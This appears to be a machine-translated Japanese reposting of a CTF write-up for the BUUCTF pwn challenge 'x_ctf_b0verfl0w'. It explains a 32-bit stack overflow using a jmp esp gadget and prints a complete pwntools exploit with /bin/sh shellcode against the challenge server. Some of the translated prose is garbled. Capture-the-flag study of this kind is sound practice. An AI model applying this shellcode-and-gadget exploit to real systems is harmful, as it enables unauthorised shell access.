[BUUCTF] PWN——x_ctf_b0verfl0w(アセンブリコード書き込みシェルコード+ジャンプesp命令ハイジャックesp)

x_ctf_b0verfl0w

別館

ステップ

  1. 定期検査、32ビットプログラム、RELROが有効(取得したテーブルは書き換えられません)
    ここに画像の説明を挿入します

  2. プログラムをローカルで実行して、一般的な状況を確認してください
    ここに画像の説明を挿入します

  3. 32ビットの
    ここに画像の説明を挿入します
    idaloading fgetsはオーバーフローする可能性がありますが、オーバーフローできるのは0x32-0x20-0x4 = 14バイトのみです。nxが有効になっていないため、最初に頭に浮かぶのはシェルコードです。0x20はpwntoolsによって生成されたシェルコードに確実に適合しません。 。自分でしか書くことができませんが、シェルコードを実行するためにespをハイジャックする方法を見つける必要があります

  4. ジャンプespガジェットはヒット関数にある
    ここに画像の説明を挿入します
    のでそのようなスタックを構築できます
    ここに画像の説明を挿入します
    retはjump espと記述され、retを実行した後、esp +4はsubesp、0x28を指します;ジャンプesp、次に実行すると、espはGoを返しますシェルコードの場所に移動し、espにジャンプします。シェルコードが実行されます。
    ret実行後のespとeipの変更の詳細については、こちらの記事をご覧ください。

  5. シェルコードの書き方は私の前の記事を参照してください、私はここに直接expを投稿します

from pwn import *
context.log_level='debug'
r=remote('node3.buuoj.cn',29554)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode)  #21

jmp_esp=0x8048504
sub_esp_jmp=asm('sub esp,0x28;jmp esp')

payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp

r.sendline(payload)

r.interactive()

ここに画像の説明を挿入します

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/113657002